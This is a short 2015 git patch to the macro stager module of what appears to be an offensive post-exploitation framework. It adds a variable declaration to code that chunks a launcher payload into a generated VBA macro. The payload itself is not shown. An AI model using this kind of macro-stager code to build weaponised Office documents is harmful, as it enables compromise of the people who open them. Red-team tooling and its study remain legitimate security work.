From 4572513129aa190c637a6a53acb287431318e056 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Wed, 12 Aug 2015 17:45:04 -0400 Subject: [PATCH] Bug fix in stagers/macro module. --- lib/stagers/macro.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/stagers/macro.py b/lib/stagers/macro.py index 5240b55..fa1be67 100644 --- a/lib/stagers/macro.py +++ b/lib/stagers/macro.py @@ -74,7 +74,8 @@ class Stager: return "" else: chunks = list(helpers.chunks(launcher, 50)) - payload = "\tSet str = \"" + str(chunks[0]) + "\"\n" + payload = "\tDim Str As String\n" + payload += "\tSet str = \"" + str(chunks[0]) + "\"\n" for chunk in chunks[1:]: payload += "\tstr = str + \"" + str(chunk) + "\"\n"